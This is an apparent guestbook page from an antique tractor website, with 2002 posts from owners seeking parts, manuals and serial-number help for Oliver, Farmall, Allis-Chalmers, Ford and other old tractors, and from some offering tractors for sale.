Todd Walters wrote on Sunday, July 07, 2002 (PDT):My father-in-law just was gifted his grandfather's 'G'. We are looking for resources like service & part manuals, and places to buy parts like belts, hoses, and plug wires, etc. It always stored inside, runs great, we just want to freshen it up.. Where is the serial number located? Thanks
Maxwell Bjerstedt wrote on Sunday, July 07, 2002 (PDT):My dad collects Cockshutts and I just started collecting and got a 40.
D.G. Hargrove wrote on Saturday, July 06, 2002 (PDT):I have a 1951 8n ford, the serial number reads on the side of the block 8N1209A. I know this sounds like a 1947 number, but what is the A for ? Thanks for any comments.
Don Copler wrote on Thursday, July 04, 2002 (PDT):Louis Krock; I have a Model 48D Leader that runs very good, and another 48D for parts. I want to sell all. I live in Floyds Knobs, IN, just across the Ohio River from Louisville, KY. email; copler at juno.com or (812) 944-8916
Lauren wrote on Wednesday, July 03, 2002 (PDT):Have a working 1949 John Deere MC crawler with blade and bucket loader. May be interested in selling for a fair price. Located near Yellowstone Park, WY. Please e-mail me.
S Le Roux wrote on Wednesday, July 03, 2002 (PDT):I have a W4 with regnr 12748w3 can somebody give more onfo on this tractor This one is without selfstater
Robert Johnson wrote on Monday, July 01, 2002 (PDT):Have a leader --but have no way to know what model it is or year---(Eng is not stuck-trying to get it to run)Looking for a way to identify any help will be great(Such as location of ser. # and model)And would like to know what it is worth--considering selling
Brian Theis wrote on Sunday, June 30, 2002 (PDT):I'm interested in finding a restorable F-20 like my grandfather used. I'm located in Central Minnesota.
Gordon wrote on Sunday, June 30, 2002 (PDT):I am looking to purchase an old style WC, running or with a little bit of tinkering to get in running condition. Located in NW Iowa. Please mail me if you are willing to sell.
Scott wrote on Saturday, June 29, 2002 (PDT):Anyone know of a good web site to track down IH 1066 parts (i.e. the filter gauge). My grandfather has the IH 1066 and the filter gauge is not working. Replaced the capacitor on the filter side it-self and still does not work. Need to replace the gauge now. Any help is greatly appreciated.
Brad Rising wrote on Saturday, June 29, 2002 (PDT):I am looking for a power steering set up for a WD 45, please contact me if you have a setup for sale, or know how to make one up, Thanks, Brad stockdragrace at aol.com
Nick Seger wrote on Saturday, June 29, 2002 (PDT):hey i think i have finally seen the light. The next tractor we get will be green and not oliver green!!!
Pat Rosato wrote on Friday, June 28, 2002 (PDT):Chuck.........if it still has a 6 volt battery, the left side is the positive side and that gets hooked up to the negative post on the battery. 6 volt batteries are installed in reverse. Positive post of the battery gets hooked up to the ground on the right side. On the right side of the tractor you will find a number on the side of the engine, Example; 5-14-A. That means it was made on May 14. The tractor serial number is on the right side on a plate attached to the clutch housing and will be a four digit number, like 6855. The engine serial number is located on the right side of the engine crankcase and will look something like C-169-22713. The C-169 means it is a carburated engine with a 169 cubic inch piston displacement. Hope this helps.
larry wrote on Friday, June 28, 2002 (PDT):I have just acquired a 1945 UTU. I plan on restoring it. I used to use it on the farm as a boy and I finally talked my dad out of it. The engine purrs, but I need an Exhaust manifold, it is cracked. Anyone have one or know where to get one --please email and let me know.....thanks larry
Troy Mevissen wrote on Wednesday, June 26, 2002 (PDT):I have recently purchased a gas Oliver 770 with wide front, live power, waukesha engine with rounded half fenders. I dont know the year but I need some hydraulic help. It has a paulson loader with one way lift cylinders. When I lower the loader it comes down very hard and very fast. Why is this and wht can i do? Please help!!
tim seaman wrote on Tuesday, June 25, 2002 (PDT):Does anyone know how to set up a governor linkage between throttle and rockershaft. The adjusting block at throttle shaft has been disconnected and I'm not certain if there should be some minimum tension on governor spring to hold in minumum open position. Any help would be appreciated. Thanks in advance, Tim
FLASH2 at asheboro.com wrote on Tuesday, June 25, 2002 (PDT): I have (1)allis chalmers H-3 dozer w/6way blade and spare parts,2 transmission,REAR ends an misc. dozer needs rear drive bearing, haveparts.working on it now,trying to find drive pin on tracts, book says pin 5/16 longerthan others
mgood wrote on Monday, June 24, 2002 (PDT): I was raised on the earlier UTS models on lp. Durable was not an adequate term. The UTS models would actually out last their owners ; the UTU models were arm breakers; but if You could stay with them You could depend on many years of cotton corn farming with these models with little or no trouble...
Philip Carlman wrote on Saturday, June 22, 2002 (PDT):I inherited a 1959 Case 700B Diesel when I bought a lakefront orange grove in Ocala, FL this year. It runs great but I would love a power steering unit for it. We've adapted a snowplow to it to clear the lakefront of vines and use it to disk harrow the grove. Any other 700b owners out there?
Ross Stover wrote on Thursday, June 20, 2002 (PDT):My father owned two of these (one with two narrow front wheels) in Block One north of Pasco, WA from about 1954. I drove it in the hay field in l957 and 1958 summers, to mow the alfalfa, bale it and haul it in, using a low wagon and hay hooks. I still have one tractor (retired when it got too haard to start). Anyone want to buy it?
C.L.Bowman, jr wrote on Thursday, June 20, 2002 (PDT):Several people have contacted me about the 550 listed in the above comments. The guy in Pennsylvania that I had it sold too backed out on me at the last minute. Said business had gone sour and he was afraid to spend any money right now. Any way, it is again for sale for $1000.00 . I live just west of Fort Smith Arkansas at Muldrow, Ok. My phone # is 918-776-0655. I can email you some pictures if you like.
Rocky Thrall wrote on Wednesday, June 19, 2002 (PDT):My friend is looking for a Farmall F-14 to restore. He lives in the Spokane Washington area. Any help would be appreciated. He doesn't have a computer. Thank You Rocky
Joe Sherman wrote on Tuesday, June 18, 2002 (PDT):My father needed help with his International 300 with 3-pt. hitch and PTO. Hydraulic oil was leaking into the crankcase so I pulled the pump and replaced the front seal (just behind the helix drive gear. The pump is attached to the right side of the engine case, just below the generator. The distributor attaches and is driven from the hyd. pump. The hydraulics for the 3pt. hitch worked last year but now they don't. I only changed the front seal and put everything back together correctly. It seems we get no pressure from the pump. The hydraulics worked last year and I wonder if the pump is the problem or is it the control valve located on the right side of the hyd. oil tank next to the right fender. The tank is below the driver seat. I found a bleed screw on top of the pump and tried to fill it when stopped and also when running to bleed the system. No luck. There was a spring under the bleed screw, not sure why. The manual does not have any good illustrations of the system. There are two small pipe plugs on the tank, near where the solid supply and return lines to the pump attach, but I don't know which is which - I assume these are for attaching a pressure guage for troubleshooting. I suspect the control valve has a relief valve internal, but not sure. If the pressure relief is open then that is probably why I have no pressure. But like Dad says, "It worked before." If anyone has any suggestions please email me. I was real careful to do everything right and the hydraulic oil reservoir is full. I just do not know why the hydraulics aren't working. The control valve 'feels' normal as you can lift and lower the handle into the up, down, and center positions. Please help. Thanks.
Scott Thomas Sr. wrote on Monday, June 17, 2002 (PDT):I'm looking for a close-up picture of a massey ferguson super 90. If anybody as a picture, would you PLEASE e-mail it to Gopherllc at aol.com. THANKS
john martin wrote on Monday, June 17, 2002 (PDT):i think i have a d10 high crop anyone interested are knowing more about them please contact me at my e mail adress at www.atlantabraves808 at aol.com thank you
Al Rogers wrote on Monday, June 17, 2002 (PDT):Great photo and website. I have just aquired a Fergie which I think is a TO-20 or a To-30. I am sure if I locate the serial number this will solve my problem. I you could let me know where it is located I would really appreciate it. It appears as if it did have head lights and tail lights. This may help too. I can send photos if this would help. Al Rogers, "Chicapee" South Africa. S33deg 58' E23deg29'
Al Rogers wrote on Monday, June 17, 2002 (PDT):Great photo and website. I have just aquired a Fergie which I think is a TO-20 or a To-30. I am sure if I locate the serial number this will solve my problem. I you could let me know where it is located I would really appreciate it. It appears as if it did have head lights and tail lights. This may help too. I can send photos if this would help. Al Rogers, "Chicapee" South Africa. S33deg 58' E23deg29'
don wrote on Sunday, June 16, 2002 (PDT):i have 4 excellent working pacers .2 are original owners.all kinds of equipment. i live in nova scotia and welcome all lookers and buyers.come and browse, makes a great day of looking and i talk like i was innoculated with a gramaphone needle .stale coffe always available. don
Kevin Parker wrote on Saturday, June 15, 2002 (PDT):Iam lookingat a massey harris pony but don't know what year it is. Where is the serial number located at? any help would be great. thank you
Randy Plyler wrote on Saturday, June 15, 2002 (PDT):I have a 550 Oliver I'm trying to restore. Looking for a grill. If anyone can help please E-Mail me at raneply at vnet.net
Neil Olness wrote on Thursday, June 13, 2002 (PDT):My dad has a 50's W4, it is missing one headlight bracket and needs a water temp. gauge. Will a gauge work from an H? If anyone can tell me where to find parts that would be great.
Justin wrote on Thursday, June 13, 2002 (PDT):I am 15 and i own a farmall H. I got it at an auction for 400$. The owner said it needed a water pump, but it doesn't. We got it running and now it makes a knocking sound when you throttle it up what is wrong?
ANDY SIGN wrote on Wednesday, June 12, 2002 (PDT):To Hazen;I havn't found any ps units for the 300's. You will have to locate a salvage tractor and part it out.
Anthony wrote on Wednesday, June 12, 2002 (PDT):my grandfather bought a 1066 brand new in 1976 and we still use today it is one of are smaller tracters but it still works better then all the new ones we own we plow with a 6 bottom and we use the 1066 and each year since 1976 weve plowed over 300 aceres a year
Anthony wrote on Wednesday, June 12, 2002 (PDT):my grandfather bought a 1066 brand new in 1976 and we still use today it is one of are smaller tracters but it still works better then all the new ones we own we plow with a 6 bottom and we use the 1066 and each year since 1976 weve plowed over 300 aceres a year
Steve Goldstein wrote on Tuesday, June 11, 2002 (PDT):My Father in law passed away and he owned a Ford Super Dexta. We are selling this tractor to someone but we need to know what the approx. worth is. The numbers that we get from the left hand side of the tractor are; CKN1372 1C, 37111310, also on the right side it shows 957E7005. The name on the tractor says Ford Super Dexta it is a blue tractor. Any info would be helpful. Thanks.
Don Copler wrote on Tuesday, June 11, 2002 (PDT):I have a LEADER Model 48D that I bought in 1964 and have used it ever since. Still runs good, could use paint job. Also, I have a 48D parts tractor, almost complete. Great tractors!
Phil Silva wrote on Tuesday, June 11, 2002 (PDT):Have 1947 lenderman for sale. 100% restored. Rails, rollers, sprockets, pads etc. 98%. Electric start. Will send pictures. o
Alfie Berg wrote on Sunday, June 09, 2002 (PDT):This 1958 550 used to belong to my grandfather, Bill Pearson.He bought it in the early 70's from the original owner. In about 1992 I was still in high school bought the 550 from my grandparents and restored it to the way it looks in the picture.I have since then bought and restored an oliver 990 660 to the same quilty as the 550.
Adam Kenerly wrote on Saturday, June 08, 2002 (PDT):I agree with Frank and the others, i believe that this is a ZB. i own a MM U and a MM Z and it has a straight steering system and seat behind the rear wheels, the seat on this one is too far up and the steering column stands up too high. also, if anyone has any info on restoring a MM Z and getting it ready to tractor pull in the stock didvision please get in touch with me
ANDY SIGN wrote on Thursday, June 06, 2002 (PDT):Hey, I just found this place! A good source of info can be found at your nearest CASE IH DEALER. I purchased the 300 Utility Tractor Operators Manual part # 10044R4 for under $30 dollars. To all those wondering what year their 300 is, they were only produced in 1955 and 1956. The serial number if you can make it out is stamped on the nameplate located on the right side of the clutch housing. Numbers 501 to 20218 were made in 1955. Numbers 20219 to 33064 were made in 1956. I have a 1955, and would like to find a loader for it.
Joe wrote on Thursday, June 06, 2002 (PDT):I have my farmland in CRP and no longer use my D-21. Will entertain offers.
Fred Seeley wrote on Thursday, June 06, 2002 (PDT):Looking for steering valve for 1959 Oliver 550 gas serial no 81-795. Also need steering hyd pump that goes on generater for the power steering.Just bought this tractor has hylift and backhoe.Thanks
Phil Biland wrote on Tuesday, June 04, 2002 (PDT):My Super 55 belonged to my wife's great grandfather. It was sold, but we found her and bought her back. It runs great, spews the black stuff like the other guy wrote. I too need the paint schemes. The guy who bought it painted the entire tractor green...but not Oliver green.
John Nabholz wrote on Sunday, June 02, 2002 (PDT):Anyone know if it's possible to retrofit a two- or three-point hitch from another IH model (Super C, 300-series, etc.) to a 1943 H? I have a beauty, but need to use a back blade. I can't afford the $700 for an aftermarket kit, but have easy access to lots of older-model IHs at local parts yards. Thanks for any info you can provide!
Kevin Oliver wrote on Saturday, June 01, 2002 (PDT):I need information on Oliver Tractor parts. My Father in Law owns 4 tractors all Olivers ...well there is the old 1930s Hart-Parr crank start he still runs to this day! He also has a Cletrac HG for the fun of it.... Don't forget his best friend the 550 he truely loves!! He also has another early Oliver as well, they added a front bucket to use for carrying stuff around the farm. I am looking at helping him to fix a few odds and end on them and I need all the help I can get. He knows everything about tractors ... I mean everything!!! But the parts are the hard part, and he doesn't use a computer s othis is my part ... PLEASE HELP!! What we really need is a new steering wheel for the 550 it is a 1964 and also a temperature gauge for it as well .He would buy the whole gauge cluster if he could. THANKS
Gary Patterson wrote on Friday, May 31, 2002 (PDT):I own a Oliver row crop with a single front wheel,4 cyl & we would like to know more about itsuch as the origanal color and we know its not John Deere green. Thanks!
Erik wrote on Wednesday, May 29, 2002 (PDT):I have acquired a 770 Diesel. I am uncertain about the year. I really don't know much about tractors, but have been appreciating this Oliver. How stable are the 770s? I have quite a hill that I started using the brush hog on, and everyone tells me "I wouldn't use that tractor on that hill." I haven't popped it on three wheels yet, but could use some advice. I really don't want to die. The guy before me used the 770 on this same terrain, but he didn't seem to have all his marbles. Are there any tricks to keeping them on the ground, or better ways to cut with them?
Gerald Rothrock wrote on Tuesday, May 28, 2002 (PDT):I have A cub that Ihave owned since 1972. I bought used, I believe it must be about a 57 or 58 model. It has a high and and low axel.Has hydralics that works with a snowblade land plow and a Howard rototiller plus a mott mower with a left side power take off. I have converted to a 12 volt system.If I put 25 hours a year its a lot. Only use it for snow plowing and garden work.Was going to trade it in or take to an auction but after reading about them could possiblie sell it or restore it ,comments are welcome, Rochester NY AREA
andy wrote on Sunday, May 26, 2002 (PDT):i am 12 and my dada purchased a MD and it was worth it... it was in rough shap when we broght it home. It sat outside for 15 years, and was missing alot of pieces.So we went to our local junkyard and got all of our supplies and now its all restored and like new... i am a tractor puller, and i pull our smta farmall and our super H with live highdrolices. And we might pull our MD some day. Me my dad and my grandpa own over 8 farmalls, and ill be glad to give you info.
joe wrote on Friday, May 24, 2002 (PDT):I HAVE AN SUPER 99 GM THAT I'M PULLING IN ANTIQUE TRACTOR PULL'S IN N.C. IT IS ALL RESTORED.
Doug. Carrick wrote on Thursday, May 23, 2002 (PDT): I have a 1949 seires 3 field marshell and have showed it at the progress show in Regina Saskatchewan Canada and have had it in the pull down there,People love to see it every year,I am in the process of restoring a series 2 for our museum in Moose Jaw. They are great tractors, May 23-02
IH farmer wrote on Wednesday, May 22, 2002 (PDT):Is it odd for an M gas job to be able to pull a new holland 680 manure spreder and chop corn with a NH 718 chopper and drag a round a john deere 730 diesel like it wasn't even there? Also it will do well over 35 mph down the road. its all stock. Pistons are not over sized trans is stock gearing.Its not turned up. I guess its not to bad for a tractor that was found in the woods
Dwight Curb wrote on Wednesday, May 22, 2002 (PDT):I get a kick out of reading the stories about the ole Oliver Super 55's. I have one I bought in 1978. It's a gas model and I'm pretty sure is a 57 year model.I've got lot's of stories I'd be glad to swap about this indestructable machine. I use it to shred the field ( couple acres)and blade the gravel lane and stuff.Also have an old hammer mill I drive off the pto for making compost out of leaves and debri.Good tractor and lot's of fun play with.
Doc wrote on Tuesday, May 21, 2002 (PDT):I bought a Poney Serial # PGA 21443. I would like to know the correct year (I am thinhing it is a 52 ?)not sure. I would like to know the origial color for this tractor. The motor # is N 62 E40175 2. I will be needing some parts and need to know were to get them from. I also will be needing some side panals that covers the battery area. Need to know the wireing system. Would like a photo if anyone can send one so I can look at it to restore this taracor.Can anyone help? Thanks
Jack Hopwood wrote on Tuesday, May 21, 2002 (PDT):Although I live in Tucson, AZ, my father owned a model G that we would be interested in selling. It is located near Batesville, AR; my father passed away earlier this month but owned and maintained it for ~45 yrs. We really don't know the value of it, but it did run fine as of this last autumn; no one has tried to start it since. For most of its life, the tractor was kept in a barn or garage, but for the last ~5 years, a tarp was used. I don't have a serial no. or year available right now. It has a pto and hydraulic lift. Dad bought it with a plow but left it behind when he moved from Ohio. Mounted on the tractor now is a Woods rotary mower which Dad used regularly. If you are interested in purchasing this tractor, please return my email or call me at your convenience. Jack Hopwood - Office Ph. No. 520-744-5505, Home no. 520-544-7797
stacey wrote on Monday, May 20, 2002 (PDT):I need decal locations for John Deere 2010. A bigger picture would be helpful.
Bill Habiger wrote on Friday, May 17, 2002 (PDT):I ran my father's 1929 G-2 rock Island on a farm near Salina Kansas until 1960.It is still on the farm waiting for some one to restore it. also have many parts and a parts tractor. Will sell all for $1800
Bill Habiger wrote on Friday, May 17, 2002 (PDT):I ran my father's 1929 G-2 rock Island on a farm near Salina Kansas until 1960.It is still on the farm waiting for some one to restore it. also have many parts and a parts tractor. Will sell all for $1800
Ferrier wrote on Thursday, May 16, 2002 (PDT):when was this tractor in this picture made
john alexander wrote on Wednesday, May 15, 2002 (PDT):I purchased an Allis Chalmers from a man he told me it was a WD however the numbers dont make sense. The serial # at the gearshift is 208663 the # on the engine block is WD544306PA. can you help me, what model do I own?
Walter L. Curtis wrote on Tuesday, May 14, 2002 (PDT):Is there a manuel on how to rebuild a Super Dexta Tractor engine?
philip wellman wrote on Monday, May 13, 2002 (PDT):we bought and restored a 30 cockshutt 2 years ago . a great canadian made tractor the classic styling really sticksout at a tractor show.canadian engineering made a superior tractor.
Chris wrote on Sunday, May 12, 2002 (PDT):I would be interested in finding a Oliver 44,Super 44 or 440. Must be complete and in fair condition. Please let me know, Thanks
DON Flanders wrote on Sunday, May 12, 2002 (PDT):Sorry, correction to the above. The cowling required is located below the front grill of a Ferguson T0 35. Looking for orginal owners manual, parts and service books for the same tractor. Thanks Don
DON Flanders wrote on Sunday, May 12, 2002 (PDT):Sorry, correction to the above. The cowling required is located below the front grill of a Ferguson T0 35. Looking for orginal owners manual, parts and service books for the same tractor. Thanks Don
Jim Huff wrote on Sunday, May 12, 2002 (PDT):I have a 50 Cockshutt with a narrow front end.I still use this tractor in the field and pulling a 849 baler.This tractor in not ready for retirement.It is a diesel.
Andre' Tougas wrote on Saturday, May 11, 2002 (PDT):I need help trying to repair a Massey Fergeson 95 super diesel that has a fuel problem .If anyone has any information or a manual this help would be greatly appreciated.
Lenny LaFlamme wrote on Saturday, May 11, 2002 (PDT):I own a 1969 D-12 and am looking for a rear wheel for it. Other than that it is a great workhorse.
Lee W. wrote on Thursday, May 09, 2002 (PDT):I'm a sophamore in high school and a member of the ffa chapter. This fall we bought a 1951 farmall M to restore in a competition. When we bought it it was locked up tight, pretty much, if it was supposed to move... it didnt. WE have had it since mid march, and it is now totally dissassembled, even sleeves are pulled out of the cylinders. The only thing out together in the differential, we put it back together last week. WE are currently sandblasting and reassembling for painting. Just thought I might throw all this out. If your interested reply and ill try to answer questions and keep updated.
Eddie Pack wrote on Thursday, May 09, 2002 (PDT):Does anyone know where I can find Pictures and Info. for a 1948 O-6. I have one and would like to restore it, but can't find any info. on it. Thanks, Eddie
Bob Anderson wrote on Wednesday, May 08, 2002 (PDT):I have a D-10 or 12, (Industrial-400), I'm in bad need of a gas tank. If anyone has one, please advise. thank you
Jim wrote on Monday, May 06, 2002 (PDT):I have a 1956 Farmall 300 RC which I use primarily to pull a 7 foot mower to cut my lawn. It has developed a dull or hollow sounding knock in the right real axel housing. It seems to occur with each revolution of the wheel. Not a tractor genius and am wondering what this could be and what it might take to repair it - if it needs to be repaired. I have seen it leak a bit of 80 weight oil when it sits over night from the same asre where the knock seems to be coming from. I have kept the grease nipple full. Would like to know how serious this may be and how best to fix it. Thanks
scott pasenow (pazone1scott at netscape.net)collins,oh wrote on Saturday, May 04, 2002 (PDT):proud owner of 49d. would like to talk to others with this fine mighty might scott
Tony wrote on Saturday, May 04, 2002 (PDT):Just a question, what is the difference between the GVI and M5 tractors that have maroon decals as opposed to those that have black decals? This has been a source of interest to me for a while now.
Andre wrote on Friday, May 03, 2002 (PDT):www.wildfire.itgo.com
jerold wrote on Friday, May 03, 2002 (PDT):looking to buy a 55 MH gas prefer southern MN or northern IA
David wrote on Friday, May 03, 2002 (PDT):I might be interested in buying a restorable Allis-Chalmers "G" located within reasonable distance to Western North Carolina and if the price is right. 828-645-9764.
Jeff wrote on Friday, May 03, 2002 (PDT):I'm located in east central Iowa and am interested in purchasing a Cub located within the midwest. Feel free to drop me a note if you know of one for sale. Thanks
Red Heis wrote on Wednesday, May 01, 2002 (PDT):I just bought a farmall tractor that is suppose to be a 140 serial # 58764 J. I know the hood and radiator cover are not stock, they are off of A model. Can you identify it from that number.
Tom Gunst wrote on Wednesday, May 01, 2002 (PDT):Looking at buying a model 1950 that has been sitting in field for 10 years! Owner says it was running when he parked it. Tractor is complete, including new birds nest under instrument panel. Needs new rubber and? Owner asking price is $3000. Any advice!
JAMES H. HANCOCK wrote on Sunday, April 28, 2002 (PDT):I HAVE A 300 INTERNATIONAL UTILITY TRACTOR. IT LOOKS LIKE THE PICTURE ABOVE. IT IS MID 50'S TO 60'S MODEL. THE ENGINE BLOCK IS CRACKED AND STILL RUNS. IT DOES NOT SMOKE AND WILL SELL WHOLE TRACTOR TO SOMEONE IN NEED OF PARTS. IT HAS THE QUICK RELEASE HITCH AND GOOD PARTS TO BE SALVAGED OR REBUILT. WILL SELL FOR $600.00 OBO, YOU REMOVE AT YOUR COST FROM SOMERSET, KY.
Gene wrote on Sunday, April 28, 2002 (PDT):We have an Oliver super 55. We have farmed with it and recently cut the lawn with. We can't remember what year we bought it. It starts great and runs good. Is anyone interested in purchasing it??
Gene wrote on Sunday, April 28, 2002 (PDT):We have an Oliver super 55. We have farmed with it and recently cut the lawn with. We can't remember what year we bought it. It starts great and runs good. Is anyone interested in purchasing it??
Tim Howe wrote on Saturday, April 27, 2002 (PDT):I have a 1954? surper a. Both rock shafts move slow and seem to labor the pump in one direction (pulling the cylinder into the block on both). I have replaced the check valves, the pressure regulator is in good shape, checked and cleaned all the screens, and can find not other problems. The pump has been replaced(before I owned it). Both rock shafts move fast and strong in the other direction. Is this normal? if not what is my problem?
william woodock wrote on Friday, April 26, 2002 (PDT):I have a wounderful cub that I'm very happy with, But I also have all the gardening/lite farming attachments with it also. I would like to sell the extra attachments that I am not useing. sicle bar, and planting/cultivating attachments. contact me at; farnsworth at yourinter.net
Geral wrote on Friday, April 26, 2002 (PDT):I have a 1947 vao case, I am looking for a engine block. 509-525-6503
Doug McGowan wrote on Thursday, April 25, 2002 (PDT):I am in posession of a '37 KTA similar to the one pictured. Purchased by my father new, it has remained in the family since, though be it, extended family for a good many years. The KTA was replaced by an IH W9, twice the tractor which would do half the work. At least that was the story told to me. Before father's passing, he had retrived this tractor, and restored it to running condition. Not real pretty, but running.
Roger Benzing Luana, Iowa 52156 wrote on Wednesday, April 24, 2002 (PDT): I bought a 220 this spring, It's super tractor to run. Lots of power. 220 books at 137 horse power. most with a good tune up, run 160 to 170 hp.Got some 7000 series tractors, but not as much fun to run as 190 220 style tractors.There more comfortable.
Roger Benzing Luana, Iowa 52156 wrote on Wednesday, April 24, 2002 (PDT): I bought a 220 this spring, It's super tractor to run. Lots of power. 220 books at 137 horse power. most with a good tune up, run 160 to 170 hp.Got some 7000 series tractors, but not as much fun to run as 190 220 style tractors.There more comfortable.
Lyndon laney wrote on Tuesday, April 23, 2002 (PDT):I have what I belive to be the one that Wards sold it is caled a Custom it came in either row crop model"b' or wide front model "c'. Mine is wide and a model "c'Any information would be welcome.
Richard Ray wrote on Monday, April 22, 2002 (PDT):Just bought an M5 which needs some work would like to know from everyone where there are some dealers which may have parts and/ or manuals thanks in advance
Tony Kronaizl wrote on Sunday, April 21, 2002 (PDT):Does anyone know the horsepower of an allis 220. I am curious to know
Wayne Hoffman wrote on Sunday, April 21, 2002 (PDT):I have a 1948 International W4 orchard tractor. I believe that it came from the Mt.Hood area. It's rough and does not run. If anyone is interested, let me know. I also have several implements to go with it.
jeff follis wrote on Sunday, April 21, 2002 (PDT):i have an a c trailbike and i need a( right hand thread cam) part no.2067090 fit on pulley comet clutch tc88n.. also i am buying a d15 it jumps out of 3rd gear anybody else tractor do this thank you go big orange
drew wrote on Saturday, April 20, 2002 (PDT):D21 look like one TUFF tractor. We have a WD 45 not much comparison, but, would someday like to have a D21. MY father and I would like one to possibly restore or purchase, any D21 will do.
jason wrote on Friday, April 19, 2002 (PDT):plugged in the block heater on grandpa's 560D and then rolled her over and she took of on just barely a half turn and it hasn't been started all winter
doc wrote on Wednesday, April 17, 2002 (PDT):Well heres one fellow that likes the pop pops all day. Im just a tractor man period. Love them farmalls and love them deeres too.
Simon Bradshaw wrote on Wednesday, April 17, 2002 (PDT):My neighbor John Davis of Pink Hill NC has a Super 44 his grandfather bought new and framed with for years. It is now being restored by John. The tractor is in top running condition and almost fully restored in appearance. Hopefully he will finish it soon and we will post a pic of it on this web site.
mark wrote on Wednesday, April 17, 2002 (PDT):we own a 1086 and a 966 both with tons of power. you can't diss deere unless you diss it with red. RED FOREVER! KICK ASS
Landon Paulson wrote on Tuesday, April 16, 2002 (PDT):Hello Mr. Walter What year is your tractor mine is a 1946 Leader Modle D. I hav heard that the Transmition Parts are the same for some Massy Fergousin combines i am not sure what year or types. i have been looking to ... do u have a picture of it i would appretiate it if u could pass it on and when i get a scanner i will forward u mine. I am 14 and i hav loved tractors my whole life and every thin else antique My leader is part of my family i wouldn't give it up for the world, also hav restored personally emaculate shape a 1977 Honda 125 Trail CT-125, 1968 Honda 50CC Moped, 1946 Leader Modle D , and process of restoring 1966 Ford Thunderbird Landeau 428. Well take it easy bye for now. Landon Paulson (Proud Leader owner)
Karl Walter wrote on Tuesday, April 16, 2002 (PDT):I have a Leader tractor, unknown model, and I need transmission parts. The transmission casting # is 47b-301 Is this a transmission made by Leader?
Bob Stevenson wrote on Monday, April 15, 2002 (PDT):I have a 55 that I think is among the last produced under that name. I use it nearly every day in our family retreat center. We pull a two bottom plow with it, pull cutters for trial blazing, and use it twice per week on a seven foot rototiller. We have been running it for six years with just a clutch replacement so far. Its gas, 12volt, getting weaker, but remains a very useful tractor.
TIM SANDERS wrote on Monday, April 15, 2002 (PDT):I HAVE A 770 I USE THIS ON A DAILY BASIS. I LIKE THIS TRACTOR THE BEST OF ALL I HAVE RAN. AS A KID I LIVED ON A FARM AND RAN A LOT OF DIFFERENT TRACTORS SUN UP TO SUN DOWN. THE 770 WAS ALWAYS THE BEST.
Don in Wyoming wrote on Sunday, April 14, 2002 (PDT):Looks like Grandpa is ready to finally sell the 12-20 Case also some other equipment that is no longer being used on the ranch. To find out more send and e-mail
sam wrote on Sunday, April 14, 2002 (PDT):does anybody have a D21 for sale in the nebraska area
Gene Gurley wrote on Saturday, April 13, 2002 (PDT):I have a 1949 Ferguson that is in working condition. The serial # is TO 7006 and the engine # Z120A600. My father purchased this tractor from a tobacco farmer in KY. The tractor appears to have the original paint. I also have a two bottom plow, six foot blade and disc that came with the tractor. I would sell this complete set for a reasonable price. I am located in Southern Illinois.
Tony Brinkmann wrote on Saturday, April 13, 2002 (PDT):Having driven M5's as main tractors for many years I have grown to repect them for their toughness and reliability. In Australia I have only seen the standard frontend model, we have two, both 1961 models, one has a FEL (locally made) this was put on in 1980, and still does an enormous amount of work for a tractor 41 years old. It does about 500 hours a year, has at least had two engine rebuilds and three amplitorc reconstructions. I feel that the FEL has contributed to undue wear and tear on amplitorc! Total hours for this tractor is in excess of 16,000, but is soon to be made redundant and thus suitably pensioned off. The other M5 is as bought, no cab, no three point linkage, and no repaint, and is in spendid show condition, it has done about 6,000 hours, and does very few now.
Roger Benzing Luana, Iowa 52156 wrote on Friday, April 12, 2002 (PDT): Hauled the first D-21 out of WesT Allis, in the sixtys that was sold in this country, My neighbor has it. always wanted one. Bought a D-21 and a 220 this week . Both goood shape.
Louis Molleur wrote on Friday, April 12, 2002 (PDT):In the old days I use to drive one similar to this one around 1964 thru 1972. The model was an 550 Special. I tried to find some trace of that peculiar model on the web without any success. By the way the 550 was sold in Canada under the trade name of Oliver 550. The Cochsutt model 550 was also available from Oliver vendor. At that point of time the Oliver 500 model was also available wich was more like a David Brown's cousin than anything else.
John Boyd wrote on Sunday, April 07, 2002 (PDT):1946 Rowcrop Oliver cockshutt Looking for a engine to finish restoration of my Fathers First tractor
joe Rushkewich wrote on Sunday, April 07, 2002 (PDT):I love to work with this two twenty tractor. I work 240 acres .the tractor is 122 horsepower also in sask canada the tractor is written Two twenty and not AC 220
billy cooke wrote on Sunday, April 07, 2002 (PDT):I have a 1960 power major that I am parting out many good parts redon head,good block tractor is all most complet call me at 401-364-1289 in RI
len nolen wrote on Saturday, April 06, 2002 (PST):I live in Queensland Australia & have a super dexta model #957e7005 I,m shore it,s 3cylinder perkins diesel any info on this model would help me get it running again
Nick Seger wrote on Friday, April 05, 2002 (PST):I love running our good old 1066. Her tachometer is about to roll over and she's still running strong. She's going to live on our farm forever, working like she is a new one. RED POWER WILL RULE THIS COUNTRY, FOREVER!
Ron wrote on Thursday, April 04, 2002 (PST): I purchased my 1955 fordson major diesel last spring(3-2001). It has a wagner loader,3point lift, and sherman powerdigger backhoe. The operator, service, and parts manual is available and I got whatever parts I needed for the engine rebuild new. The only problem I had was locating a decent fuel tank(mine has multiple big dents). 3/31/2002 I bought another fordson major diesel w sherman power digger and wagner loader. I'm going to part this one out even though it still runs. Oil and fuel filters are available through a local autoparts store for a fraction of what a Ford New Holland dealer wanted for them. The radiator cap and hoses were also readily available. The fuel pumps are available new. It was difficult finding a mechanic who had worked on one but I did and had him help me rebuild the engine and set it up. There is a mechanic in England (Brian) who give excellent info on upgrades and troubleshooting. He can be found on the fordson page under yesterdays tractors. I'm located in New Jersey and found parts sources in Pa. If you can't find what you need email me. Maybe I can help.
Dave wrote on Wednesday, April 03, 2002 (PST):I am looking for a tool box and the rear wheel wrenches used to change the wheel width for an AC 160. Does anyone have these for sale or can they help me locate these items. Also need pages 21 through 24 of the operator's manual. Could anyone provide copies of these pages?
Bill Rutherford wrote on Tuesday, April 02, 2002 (PST):I'm in the process of restoring a 1940 ZTU. I plan to have it done for the Great MM Expo at Rollag Mn this Labor day weekend. I also have a 1930 Twin City KT with correct decals and a 1959 GVI diesel. See ya at Western MN Steam Threshers Reunion
LANDON wrote on Monday, April 01, 2002 (PST):ON OUR FARM NOW WE GOT A IH 1468, COUPLE OF ALLIS CHALMERS, AND JUST SOLD OUR MM G-1000-VISTA, THE GREEN NEIGHBORS STILL STARE AT OUR OLD V8 THEY MUST BE JEALOUS
